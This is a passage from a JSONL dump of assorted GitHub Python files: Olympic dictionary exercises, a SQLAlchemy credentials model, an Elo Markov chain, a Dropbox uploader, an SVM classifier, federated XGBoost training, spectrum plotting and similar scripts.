'floor', 'uneven bars', 'balance beam'], 'men': ['vault', 'parallel bars', 'floor', 'rings']}}\r\n # Assign the string 'backstroke' to the name v1\r\n v1 = sports[\"swimming\"][2]\r\n # Assign the string 'platform' to the name v2\r\n v2 = sports[\"diving\"][1]\r\n # Assign the list ['vault', 'floor', 'uneven bars', 'balance beam'] to the name v3\r\n v3 = sports[\"gymnastics\"][\"women\"]\r\n\r\n # Assign the string 'rings' to the name v4\r\n v4 = sports[\"gymnastics\"][\"men\"][3]\r\n \r\n return v1,v2,v3,v4\r\n#print(complex_dic())\r\n \r\n\"\"\"\r\nGiven the dictionary, nested_d, save the medal count for the USA from all three Olympics in the dictionary \r\nto the list US_count. \r\n\"\"\" \r\ndef count():\r\n nested_d = {'Beijing':{'China':51, 'USA':36, 'Russia':22, 'Great Britain':19}, 'London':{'USA':46, 'China':38, 'Great Britain':29, 'Russia':22}, 'Rio':{'USA':35, 'Great Britain':22, 'China':20, 'Germany':13}}\r\n US_count = list()\r\n US_count.append(nested_d[\"Beijing\"][\"USA\"])\r\n US_count.append(nested_d[\"London\"][\"USA\"])\r\n US_count.append(nested_d[\"Rio\"][\"USA\"])\r\n \r\n return US_count\r\n#print(count())\r\n\r\n\"\"\"\r\nGiven below is a list of lists of athletes. Create a list, t, that saves only the athlete’s name if it \r\ncontains the letter “t”. If it does not contain the letter “t”, save the athlete name into list other.\r\n\"\"\"\r\ndef list_of_list():\r\n athletes = [['Phelps', 'Lochte', 'Schooling', 'Ledecky', 'Franklin'], ['Felix', 'Bolt', 'Gardner', 'Eaton'], ['Biles', 'Douglas', 'Hamm', 'Raisman', 'Mikulak', 'Dalton']]\r\n t = list()\r\n other = list()\r\n for lista in athletes:\r\n for name in lista:\r\n if \"t\" in name:\r\n t.append(name)\r\n else:\r\n other.append(name)\r\n return t,other\r\nprint(list_of_list())","repo_name":"juanfelipehdezm/Big-Data","sub_path":"Python 3/3. Python Data collection and proccesing/nestedData_Iteration.py","file_name":"nestedData_Iteration.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7838910568","text":"\"\"\"Models chatbot module.\"\"\"\n\nfrom datetime import datetime\n\nfrom sqlalchemy import (\n Column,\n Integer,\n String,\n DateTime,\n)\n\nfrom app.db.database import Base\n\n\nclass GoogleCredentials(Base):\n __tablename__ = \"google_credentials\"\n id = Column(Integer, primary_key=True)\n name = Column(String, index=True, nullable=False)\n email = Column(String, index=True, unique=True, nullable=False)\n timezone = Column(String, nullable=True)\n access_token = Column(String, nullable=False)\n refresh_token = Column(String, nullable=True)\n created_at = Column(DateTime, default=datetime.now)\n\n def __repr__(self):\n return (\n f\"\"\n )\n","repo_name":"martialo12/appointment_chatbot","sub_path":"backend/app/chatbot/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5673570859","text":"import numpy as np\ndef read_data(): \n old_elo = []\n new_elo = []\n with open(\"data.txt\", \"r\") as file:\n for line in file:\n line = line.split()\n old_elo.append(int(line[0]))\n new_elo.append(int(line[1]))\n return old_elo, new_elo\n\ndef quantizar(old_elo, new_elo):\n for i in range(len(old_elo)):\n if old_elo[i] > 2800:\n old_elo[i] = [old_elo[i],0]\n elif old_elo[i] > 2750 and old_elo[i] <= 2800:\n old_elo[i] = [old_elo[i],1] \n elif old_elo[i] > 2700 and old_elo[i] <= 2750:\n old_elo[i] = [old_elo[i],2] \n elif old_elo[i] > 2650 and old_elo[i] <= 2700:\n old_elo[i] = [old_elo[i],3] \n elif old_elo[i] > 2600 and old_elo[i] <= 2650:\n old_elo[i] = [old_elo[i],4] \n elif old_elo[i] > 2550 and old_elo[i] <= 2600:\n old_elo[i] = [old_elo[i],5] \n elif old_elo[i] > 2500 and old_elo[i] <= 2550:\n old_elo[i] = [old_elo[i],6] \n elif old_elo[i] > 2450 and old_elo[i] <= 2500:\n old_elo[i] = [old_elo[i],7] \n elif old_elo[i] < 2450:\n old_elo[i] = [old_elo[i],8] \n \n for i in range(len(new_elo)):\n if new_elo[i] > 2800:\n new_elo[i] = [new_elo[i],0]\n elif new_elo[i] > 2750 and new_elo[i] <= 2800:\n new_elo[i] = [new_elo[i],1] \n elif new_elo[i] > 2700 and new_elo[i] <= 2750:\n new_elo[i] = [new_elo[i],2] \n elif new_elo[i] > 2650 and new_elo[i] <= 2700:\n new_elo[i] = [new_elo[i],3] \n elif new_elo[i] > 2600 and new_elo[i] <= 2650:\n new_elo[i] = [new_elo[i],4] \n elif new_elo[i] > 2550 and new_elo[i] <= 2600:\n new_elo[i] = [new_elo[i],5] \n elif new_elo[i] > 2500 and new_elo[i] <= 2550:\n new_elo[i] = [new_elo[i],6] \n elif new_elo[i] > 2450 and new_elo[i] <= 2500:\n new_elo[i] = [new_elo[i],7] \n elif new_elo[i] < 2450:\n new_elo[i] = [new_elo[i],8] \n return old_elo, new_elo \n\ndef create_matrix(old_elo, new_elo):\n matrix = np.zeros((9, 9))\n prob_t0 = []\n prob_t1 = [] \n for i in range(len(old_elo)):\n matrix[old_elo[i][1]][new_elo[i][1]] += 1\n print(matrix) \n print(\"\\n-=-=-=-=\\n\")\n\n # Probabilidade de começar em t1\n for row in matrix.T:\n s = sum(row)\n prob_t1.append(s/100) \n for row in matrix:\n s = sum(row)\n # Probabilidade de começar em t2\n prob_t0.append(s/100)\n if s > 0:\n row[:] = [f/s for f in row] \n return matrix, prob_t0, prob_t1 \n\n \ndef main():\n np.set_printoptions(edgeitems=30, linewidth=100000, suppress=True, precision = 5) \n old_elo, new_elo = read_data()\n old_elo, new_elo = quantizar(old_elo, new_elo)\n matrix, prob_t0, prob_t1 = create_matrix(old_elo, new_elo)\n \n matrix2 = np.linalg.matrix_power(matrix, 2)\n print(matrix)\n print(\"\\n-=-=-=-=\\n\")\n print(matrix2)\n #Probabilidade sair de H em t1 e ir para C em t2 \n print(\"\\nProbabilidade sair de H em t1 e ir para C em t2 é = \", prob_t1[7] * matrix2[7][5])\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"DRKn1ght/facul","sub_path":"4 ano/Estocasticos/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5754843826","text":"import os\r\nimport dropbox\r\n\r\nfrom docopt import docopt\r\n\r\nCHUNK_SIZE = 4 * 1024 * 1024\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n Upload the resource file to Dropbox.\r\n \"\"\"\r\n args = docopt(\"\"\"Upload the resource file to Dropbox.\r\n\r\n Usage: upload_to_dropbox.py \r\n\r\n Access Token.\r\n The resource directory.\r\n \"\"\")\r\n\r\n access_token = args['']\r\n resource_dir = args['']\r\n\r\n # Connect to dropbox\r\n client = dropbox.Dropbox(access_token)\r\n\r\n # Read the resource.zip file\r\n local_file_path = resource_dir + '/resource.zip'\r\n f = open(local_file_path, 'rb')\r\n file_size = os.path.getsize(local_file_path)\r\n\r\n db_file_path = '/Chirps/resource.zip'\r\n mode = dropbox.files.WriteMode('overwrite')\r\n\r\n # Upload in one batch (small file)\r\n if file_size <= CHUNK_SIZE:\r\n client.files_upload(f.read(), db_file_path, mode)\r\n\r\n # Upload in chunks\r\n else:\r\n upload_session_start_result = client.files_upload_session_start(f.read(CHUNK_SIZE))\r\n cursor = dropbox.files.UploadSessionCursor(session_id=upload_session_start_result.session_id, offset=f.tell())\r\n commit = dropbox.files.CommitInfo(path=db_file_path, mode=mode)\r\n\r\n # Upload more chunks\r\n while f.tell() < file_size:\r\n if file_size - f.tell() <= CHUNK_SIZE:\r\n client.files_upload_session_finish(f.read(CHUNK_SIZE), cursor, commit)\r\n else:\r\n client.files_upload_session_append(f.read(CHUNK_SIZE), cursor.session_id, cursor.offset)\r\n cursor.offset = f.tell()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"vered1986/Chirps","sub_path":"source/package/upload_to_dropbox.py","file_name":"upload_to_dropbox.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"21"} +{"seq_id":"1147301452","text":"from pokemon import Pokemon\n\n\nclass Trainer:\n def __init__(self, name: str, pokemons=[]):\n self.name = name\n self.pokemons = pokemons\n\n def add_pokemon(self, pokemon):\n pokem = pokemon.name\n health = pokemon.health\n if pokemon in self.pokemons:\n return \"This pokemon in already caught\"\n else:\n self.pokemons.append(pokemon)\n return f\"Caught {pokem} with health {health}\"\n\n def release_pokemon(self, pokemon_name:str):\n flag = False\n for el in self.pokemons:\n if pokemon_name in el.name:\n self.pokemons.remove(el)\n flag = True\n return f\"You have released {pokemon_name}\"\n if not flag:\n return f\"Pokemon is not caught\"\n\n def trainer_data(self):\n data = \"\"\n for el in self.pokemons:\n data += f\"-{el.name} with health {el.health}\\n\"\n return f\"Pokemon Trainer {self.name}\\n Pokemon count {len(self.pokemons)}\\n {data}\"\n\n\npokemon = Pokemon(\"Pikachu\", 90)\nprint(pokemon.pokemon_details())\ntrainer = Trainer(\"Ash\")\nprint(trainer.add_pokemon(pokemon))\nsecond_pokemon = Pokemon(\"Charizard\", 110)\nprint(trainer.add_pokemon(second_pokemon))\nprint(trainer.add_pokemon(second_pokemon))\nprint(trainer.release_pokemon(\"Pikachu\"))\nprint(trainer.release_pokemon(\"Pikachu\"))\nprint(trainer.trainer_data())\n","repo_name":"a-angeliev/Python-Advanced-Softuni","sub_path":"Python-OOP/Exe. First steps in OOP/8. Pokemon Bttle/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20254592031","text":"import sys\nimport os\nimport copy\n\ndef load_input(filepath):\n import re\n f = open(filepath)\n lines = f.readlines()\n lanternfish = [int(x) for x in lines[0].split(\",\")]\n return lanternfish\n\n\ndef iterate(lanternfish):\n lanternfish_copy = copy.deepcopy(lanternfish)\n for ind, val in enumerate(lanternfish):\n if val == 0:\n lanternfish_copy[ind] = 6\n lanternfish_copy.append(8)\n else: \n lanternfish_copy[ind] = val-1\n return lanternfish_copy\n\ndef main():\n try:\n file_dict = {\"test\":\"test_input\",\n \"prod\":\"input\"}\n file_str = file_dict[sys.argv[1]]\n except:\n raise ValueError(\"Expected second command line argument to specify 'test' or 'prod'\")\n\n path = os.path.abspath(os.path.dirname(sys.argv[0]))\n os.chdir(path)\n lanternfish = load_input(f\"./inputs/{file_str}.txt\")\n n_lanternfish = []\n n_lanternfish.append(len(lanternfish))\n for day in range(256):\n lanternfish = iterate(lanternfish)\n n_lanternfish.append(len(lanternfish))\n return n_lanternfish\n\nif __name__ == \"__main__\": \n n_lanternfish = main()\n print(n_lanternfish[256])\n\n","repo_name":"alexgmcm/2021_aoc","sub_path":"aoc_2021/d06_Lanternfish/d06_Lanternfish_1.py","file_name":"d06_Lanternfish_1.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39174871295","text":"\"\"\"empty message\n\nRevision ID: 547948f92b7c\nRevises: 2737849cc090\nCreate Date: 2020-05-16 13:08:34.110837\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '547948f92b7c'\ndown_revision = '2737849cc090'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('question',\n sa.Column('question_id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('student_id', sa.Integer(), nullable=False),\n sa.Column('answered', sa.String(length=30), nullable=False),\n sa.ForeignKeyConstraint(['student_id'], ['student.id'], ),\n sa.PrimaryKeyConstraint('question_id')\n )\n op.drop_table('questions')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('questions',\n sa.Column('question_id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('student_id', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('answered', sa.VARCHAR(length=30), autoincrement=False, nullable=False),\n sa.ForeignKeyConstraint(['student_id'], ['student.id'], name='questions_student_id_fkey'),\n sa.PrimaryKeyConstraint('question_id', name='questions_pkey')\n )\n op.drop_table('question')\n # ### end Alembic commands ###\n","repo_name":"himnsuk/ai-chatbot","sub_path":"migrations/versions/547948f92b7c_.py","file_name":"547948f92b7c_.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36882154611","text":"# mysql_connection.py\nfrom sqlalchemy import create_engine, Column, String, Integer, Text, Date, Interval, func, extract,ARRAY\nfrom sqlalchemy.ext.declarative import declarative_base\nimport pandas as pd\nfrom sqlalchemy.orm import Session\nfrom db import Base\nfrom db import get_db\n\n# Define the database connection\n# secrets_path = os.path.join(os.path.dirname(__file__), \".streamlit/secrets.toml\")\n\nclass Card(Base):\n __tablename__ = 'carddata'\n id = Column(Integer,primary_key=True)\n name = Column(String(255))\n position = Column(String(255))\n mobile = Column(ARRAY(String))\n email = Column(String(255))\n website = Column(String(255))\n address = Column(String(255))\n\n def create_card (db:Session,name,position,mobile,email,website,address):\n db_return = Card(\n name = name,\n position = position,\n mobile = mobile,\n email = email,\n website = website,\n address = address,\n )\n db.add(db_return)\n db.commit()\n db.refresh(db_return)\n return db_return\n def get_card(db:Session):\n db_return = db.query(Card).all()\n return db_return\n\nclass CardInfo(Base):\n __tablename__ = 'cardinfo'\n id = Column(Integer,primary_key=True)\n card = Column(Text)\n\n def full_card (db:Session, card):\n db_return = CardInfo(\n card = card\n )\n db.add(db_return)\n db.commit()\n db.refresh(db_return)\n return db_return\n def full_text(db:Session):\n db_return = db.query(CardInfo).all()\n return db_return\n ","repo_name":"radhakrishnanganapathy/BizCardX","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72829944054","text":"from sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics import classification_report\nfrom sklearn import svm\nfrom loader import load_data\n\ndef train_classifier(training_corpus):\n \"\"\"Building SVM Classifier model.\n\n :param training_corpus: List of training tuples containing prhase and class.\n :returns: SVM model.\n \"\"\"\n print(\"Training model...\")\n\n train_data = []\n train_labels = []\n for row in training_corpus:\n train_data.append(row[0])\n train_labels.append(row[1])\n\n # Create feature vectors\n vectorizer = TfidfVectorizer(min_df=2, max_df=0.9)\n # Train the feature vectors\n train_vectors = vectorizer.fit_transform(train_data)\n # Perform classification with SVM, kernel=linear\n model = svm.SVC(kernel='linear')\n return model, train_vectors, train_labels\n\nif __name__ == '__main__':\n training_data = load_data('../../datasets/even_odd.csv')\n model, train_v, train_l = train_classifier(training_data)\n model.fit(train_v, train_l)\n\n while True:\n text = input(\"> \")\n print(\"class\", model.predict([text]))\n","repo_name":"jeury301/text-classifier","sub_path":"classifiers/samples/svm_classifier.py","file_name":"svm_classifier.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38874497653","text":"from GravGame.Game import *\nfrom GravGame.Planet import *\nfrom GravGame.Well import *\n\n\n# this holds the information for a level\nclass Level(object):\n def __init__(self, wells, planets):\n self.wells = wells\n self.planets = planets\n\n\n# a list of the different levels. These should probably be saved in files that are able to be edited in a level editor\n# mode\nlevels = {}\n\n\ndef init_levels(game):\n global levels\n levels[\"test_level\"] = Level(\n [Well(400, 400, 80000000)],\n [CastPlanet(to_vec(400, 100), 30, GREEN, game),\n GoalPlanet(to_vec(400, 700), 20, GREEN, game)])","repo_name":"Mo0dy/GravGame","sub_path":"Level.py","file_name":"Level.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"46582200554","text":"from turtle import *\n#uma função para desenhar um planeta de um tamanho específico\ndef drawPlanet(planetSize, planetColour):\n color(planetColour)\n pendown()\n begin_fill()\n for side in range(363):\n left(1)\n forward(planetSize)\n end_fill()\n penup()\n\n#isso desenhar um fundo azul escuro\n\nbgcolor(\"MidnightBlue\")\n\n\n#use a função para desenhar planeta de tamanhos diferentes!\ndrawPlanet(1, \"Red\")\nforward(200)\ndrawPlanet(1.5, \"White\")\nleft(120)\nforward(0)\ndrawPlanet(2, \"Green\")\n\nhideturtle()\ndone()\n","repo_name":"SirLeonardoFerreira/Atividades-ifpi","sub_path":"Ensinando com as tartarugas/planetas_tartaruga.py","file_name":"planetas_tartaruga.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9097437821","text":"import copy\nimport logging\nimport os\nfrom typing import Callable, Dict, List, Union\n\nimport xgboost.core as xgb_core\nfrom xgboost import callback as xgb_callback\n\nimport secretflow.device.link as link\nfrom secretflow.data.horizontal import HDataFrame\nfrom secretflow.ml.boost.homo_boost.boost_core import callback\nfrom secretflow.ml.boost.homo_boost.boost_core.core import FedBooster\n\n\ndef _configure_deprecated_callbacks(\n verbose_eval,\n early_stopping_rounds,\n maximize,\n start_iteration,\n num_boost_round,\n feval,\n evals_result,\n callbacks,\n show_stdv,\n cvfolds,\n):\n link = 'https://xgboost.readthedocs.io/en/latest/python/callbacks.html'\n logging.warn(f'Old style callback is deprecated. See: {link}', UserWarning)\n # Most of legacy advanced options becomes callbacks\n if early_stopping_rounds is not None:\n callbacks.append(\n callback.early_stop(\n early_stopping_rounds, maximize=maximize, verbose=bool(verbose_eval)\n )\n )\n if isinstance(verbose_eval, bool) and verbose_eval:\n callbacks.append(callback.print_evaluation(show_stdv=show_stdv))\n else:\n if isinstance(verbose_eval, int):\n callbacks.append(\n callback.print_evaluation(verbose_eval, show_stdv=show_stdv)\n )\n if evals_result is not None:\n callbacks.append(callback.record_evaluation(evals_result))\n callbacks = callback.LegacyCallbacks(\n callbacks, start_iteration, num_boost_round, feval, cvfolds=cvfolds\n )\n return callbacks\n\n\ndef _is_new_callback(callbacks):\n return (\n any(isinstance(c, callback.TrainingCallback) for c in callbacks)\n or not callbacks\n )\n\n\ndef _train_internal(\n params: Dict,\n dtrain: xgb_core.DMatrix,\n hdata: HDataFrame,\n global_bin: List,\n num_boost_round: int = 10,\n evals: List = (),\n obj: Callable = None,\n feval: Callable = None,\n xgb_model: Union[str, os.PathLike, xgb_core.Booster, bytearray] = None,\n callbacks: List = None,\n evals_result: Dict = None,\n maximize: bool = None,\n verbose_eval: Union[bool, int] = None,\n early_stopping_rounds: int = None,\n):\n \"\"\"internal training function\"\"\"\n role = link.get_role()\n callbacks = [] if callbacks is None else copy.copy(callbacks)\n evals = list(evals)\n start_iteration = 0\n pre_round = 0\n if xgb_model is None:\n bst = FedBooster(params, [dtrain] + [d[0] for d in evals])\n\n else:\n bst = FedBooster(params, [dtrain] + [d[0] for d in evals], model_file=xgb_model)\n\n start_iteration = 0\n is_new_callback = _is_new_callback(callbacks)\n if is_new_callback:\n assert all(\n isinstance(c, xgb_callback.TrainingCallback) for c in callbacks\n ), \"You can't mix new and old callback styles.\"\n if verbose_eval:\n verbose_eval = 1 if verbose_eval is True else verbose_eval\n callbacks.append(xgb_callback.EvaluationMonitor(period=verbose_eval))\n if early_stopping_rounds:\n callbacks.append(\n xgb_callback.EarlyStopping(\n rounds=early_stopping_rounds, maximize=maximize\n )\n )\n callbacks = callback.FedCallbackContainer(callbacks, metric=feval)\n else:\n callbacks = _configure_deprecated_callbacks(\n verbose_eval,\n early_stopping_rounds,\n maximize,\n start_iteration,\n num_boost_round,\n feval,\n evals_result,\n callbacks,\n show_stdv=False,\n cvfolds=None,\n )\n\n bst = callbacks.before_training(bst)\n # finetune need align iteration round between server and client.\n if role == link.CLIENT:\n pre_round = bst.num_boosted_rounds()\n link.send_to_server(name=\"pre_round\", value=pre_round, version=0)\n if role == link.SERVER:\n pre_round_list = link.recv_from_clients(\n name=\"pre_round\",\n version=0,\n )\n if len(set(pre_round_list)) != 1:\n raise ValueError(\n f\"num round before trainning for clients must aligned, but got {pre_round_list}\"\n )\n pre_round = pre_round_list[0]\n start_iteration += pre_round\n for i in range(start_iteration, start_iteration + num_boost_round):\n if callbacks.before_iteration(bst, i, dtrain, evals):\n break\n # bst calls federate_update to build the tree of this iteration in federated mode, and merges it into the xgboost model after the construction is complete\n bst.federate_update(params, dtrain, hdata, global_bin, iter_round=i, fobj=obj)\n\n if callbacks.after_iteration(bst, i, dtrain, evals):\n break\n\n bst = callbacks.after_training(bst)\n\n if evals_result is not None and is_new_callback:\n evals_result.update(callbacks.history)\n\n # These should be moved into callback functions `after_training`, but until old\n # callbacks are removed, the train function is the only place for setting the\n # attributes.\n num_parallel, _ = xgb_core._get_booster_layer_trees(bst)\n if bst.attr('best_score') is not None:\n bst.best_score = float(bst.attr('best_score'))\n bst.best_iteration = int(bst.attr('best_iteration'))\n # num_class is handled internally\n bst.set_attr(best_ntree_limit=str((bst.best_iteration + 1) * num_parallel))\n bst.best_ntree_limit = int(bst.attr(\"best_ntree_limit\"))\n else:\n # Due to compatibility with version older than 1.4, these attributes are added\n # to Python object even if early stopping is not used.\n bst.best_iteration = bst.num_boosted_rounds() - 1\n bst.best_ntree_limit = (bst.best_iteration + 1) * num_parallel\n\n # Copy to serialise and unserialise booster to reset state and free\n # training memory\n return bst.copy()\n\n\ndef train(\n params: Dict,\n dtrain: xgb_core.DMatrix,\n hdata: HDataFrame,\n bin_split_points: List,\n num_boost_round: int = 10,\n evals: List = (),\n obj: Callable = None,\n feval: Callable = None,\n maximize: bool = None,\n early_stopping_rounds: int = None,\n evals_result: Dict = None,\n verbose_eval: Union[bool, int] = True,\n xgb_model: Union[str, os.PathLike, xgb_core.Booster, bytearray] = None,\n callbacks: List = None,\n):\n \"\"\"Specifies the parameter training level federated version of xgboost.\n\n Args:\n params: Booster parameters. Reference: https://xgboost.readthedocs.io/en/latest/parameter.html\n dtrain: The training data passed in in DMatrix format.\n hdata: The training data passed in in HDataFrame format, the content is consistent with dtrain\n bin_split_points: The global equal-frequency binning of each feature is recorded\n num_boost_round: Number of iteration rounds.\n evals: A list of validation sets to evaluate during training to help us monitor training effects during training.\n obj: custom objective function.\n feval: Custom eval function.\n maximize: Whether the function in feval is optimized in the maximize direction.\n early_stopping_rounds: used to activate the early_stop strategy, the eval metric of the validation set needs to be executed every early stop round\n Raised at least once. Correspondingly, at least one item must be added to evals. If there are multiple items in eval metric, then the last item\n The indicator will be used for early stop strategy\n evals_result: The evals_result dictionary, used to store the evaluation (eval) results of all items in the watch list.\n verbose_eval: If verbose_eval is True, the evaluation metrics on the validation set will be printed out at each iteration, and if verbose_eval is true\n If it is an int, the evaluation metric of the validation set will be printed after each verbose_eval* iterations\n xgb_model: The trained xgb model can transfer the path or the loaded model for relay training or breakpoint retraining\n callbacks: a list of callback functions that will be applied to each iteration of training\n\n Returns:\n Booster : a trained booster model\n \"\"\"\n bst = _train_internal(\n params,\n dtrain,\n hdata,\n bin_split_points,\n num_boost_round=num_boost_round,\n evals=evals,\n obj=obj,\n feval=feval,\n xgb_model=xgb_model,\n callbacks=callbacks,\n verbose_eval=verbose_eval,\n evals_result=evals_result,\n maximize=maximize,\n early_stopping_rounds=early_stopping_rounds,\n )\n return bst\n","repo_name":"primihub/hackathon","sub_path":"winning-project/Vpcdap/code/隐私求交/PSI/secretflow/ml/boost/homo_boost/boost_core/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":8662,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"21"} +{"seq_id":"70210792054","text":"import sys\nfrom iparser import read_input\n\ndef get_priority(c):\n return ord(c) % 32 + 26 * c.isupper()\n\ndef process(data):\n result = 0\n for elf1, elf2, elf3 in zip(data, data, data):\n c, *_ = {*elf1} & {*elf2} & {*elf3}\n assert not _\n result += get_priority(c)\n return result\n\nif __name__ == '__main__':\n input_file = 'example.txt' if '--example' in sys.argv[1:] else 'input.txt'\n input_data = read_input(input_file)\n result = process(input_data)\n print(result)\n","repo_name":"m-tkach/adventofcode","sub_path":"2022/03/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14427185850","text":"#!/usr/bin/python3\nimport os\nimport sys\nimport time\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport regex as re\nfrom sklearn.linear_model import LinearRegression\n\ndef load_blindscan(fname):\n x=np.loadtxt(fname, dtype={'names': ('standard', 'frequency', 'polarisation',\n 'symbol_rate','rolloff', 'modulation'),\n 'formats': ('S1', 'i8', 'S1', 'i8', 'S1', 'S1')})\n return x['frequency']\n\ndef plotspec(fname, pol, lim=None):\n fig, ax= plt.subplots();\n have_blindscan = False\n try:\n x=np.loadtxt(fname)\n f=x[:,0]\n spec = x[:,1]\n ax.plot(f, spec, label=\"spectrum (dB)\")\n\n tps=load_blindscan(fname.replace('spectrum', 'blindscan'))\n f1= tps/1000\n spec1 = tps*0+-70000\n ax.plot( f1, spec1, '+', label=\"Found TPs\")\n have_blindscan = True\n except:\n pass\n if have_blindscan:\n title='Blindscan result - {fname}'\n else:\n title='Spectrum - {fname}'\n plt.title(title.format(pol=pol, fname=fname));\n plt.legend()\n if lim is not None:\n ax.set_xlim(lim)\n return\n\ndef n(s,x):\n return 10*s - 10*s.mean() +x[:,1].mean()\n\n\n#y=np.loadtxt(\"/tmp/spectrum1.dat\")\n#z=np.loadtxt(\"/mnt/scratch/tbs/spectrum_28.2EH.dat\")\ndef moving_average(x, w):\n return np.convolve(x, np.ones(w), 'same') / w\n\nif False:\n plt.figure();plt.plot(x[:,0], moving_average(x[:,1],10))\n #plt.figure();plt.plot(y[:,0], moving_average(y[:,1],100)*3/64.)\n plt.figure();plt.plot(z[:,0], moving_average(z[:,1],10))\nelif False:\n #plt.figure();\n #plt.plot(q[:,0], q[:,1], label=\"new\")\n #plt.legend()\n #plt.figure();\n plt.plot(x[:,0], x[:,1], label=\"stid-g\")\n plt.plot(y[:,0], y[:,1], label=\"stidfft-g\")\n plt.legend()\n plt.figure();\n plt.plot(z[:,0], moving_average(z[:,1],10), label=\"stid-w\")\n #plt.plot(w[:,0], w[:,1], label=\"stidfft-w\")\n plt.plot(v[:,0], moving_average(v[:,1],10), label=\"stv-w\")\n plt.legend()\n\n #plt.figure();\n #plt.plot(y[:,0], y[:,1], label=\"stidfft-g\")\n #plt.plot(w[:,0], w[:,1], label=\"stidfft-w\")\n #plt.legend()\n#plt.figure();plt.plot(z[:,0], z[:,1])\ndef ann(f,v, s, xoffset=3, yoffset=0):\n pt=[f,v];\n ax.annotate(f\"{f}H {s}kS/s\", pt, xytext=(pt[0]+xoffset, pt[1]+yoffset), arrowprops=dict(facecolor='red', arrowstyle='->'))\n\n\ndef x(fname):\n a=np.loadtxt(fname);\n fig, ax= plt.subplots();\n plt.title(fname);\n ax.plot(a[:,0], a[:,1], label=\"spec\")\n ax.plot(a[:,0], a[:,2], label=\"band\")\n plt.legend()\n\ndef y(fnames):\n ret=[]\n fig, ax= plt.subplots();\n plt.title(\"spec\");\n for fname in fnames:\n x=np.loadtxt(fname)\n t=x[:,0]\n a=x[:,1]\n b=x[:,2]\n ax.plot(t, a/1000, label=fname)\n ret.append(x)\n plt.legend()\n ax.set_xlim([11430,11500])\n return ret\n\n ax.set_xlim([11430,11500])\ndef z(fname1, fname2):\n a1=np.loadtxt(fname1);\n a2=np.loadtxt(fname2);\n fig, ax= plt.subplots();\n plt.title(\"band\");\n ax.plot(a1[:,0], a1[:,1], label=fname1)\n ax.plot(a2[:,0], a2[:,2], label=fname2)\n plt.legend()\n\nfnames= [\n \"/tmp/spectrumH256_100.dat\", \"/tmp/spectrumH256_50.dat\",\n #\"/tmp/spectrumH256_1000_sweep.dat\", \"/tmp/spectrumH256_500_sweep.dat\"\n ]\nfnames= [\n \"/tmp/spectrumH512_50.dat\", \"/tmp/spectrumH256_50.dat\",\n \"/tmp/spectrumH512_100.dat\",\n \"/tmp/spectrumH256_100.dat\",\n #\"/tmp/spectrumH256_500_sweep.dat\"\n ]\noffsets =[ -6000-3216, -3216, 0, 0]\noffsets =[ -60351-6000, -60351, 0, 0]\noffsets =[ 0, 0, 0, 0]\nsubsample =[ 10, 10, 5,5]\n#x(\"/tmp/spectrumH256_100.dat\") #23s\n#x(\"/tmp/spectrumH256_50.dat\") #45s\n#x(\"/tmp/spectrumH512_50.dat\") #41s\n\nret=y(fnames)\n\n\nif __name__ == \"__main__\":\n import signal\n from matplotlib import pyplot as plt\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n try:\n import sys, inspect\n if sys.ps1: interpreter = True\n except AttributeError:\n interpreter = False\n if sys.flags.interactive: interpreter = True\n if interpreter:\n plt.ion()\n plt.show()\n else:\n plt.ioff()\n plt.show()\n","repo_name":"deeptho/neumodvb","sub_path":"src/receiver/plotspecx.py","file_name":"plotspecx.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"32643196217","text":"import random\n\nfrom Bio.Seq import Seq\nfrom Bio.Alphabet import *\nfrom Bio import pairwise2\nfrom Bio.SubsMat import MatrixInfo as matlist\nfrom Bio import 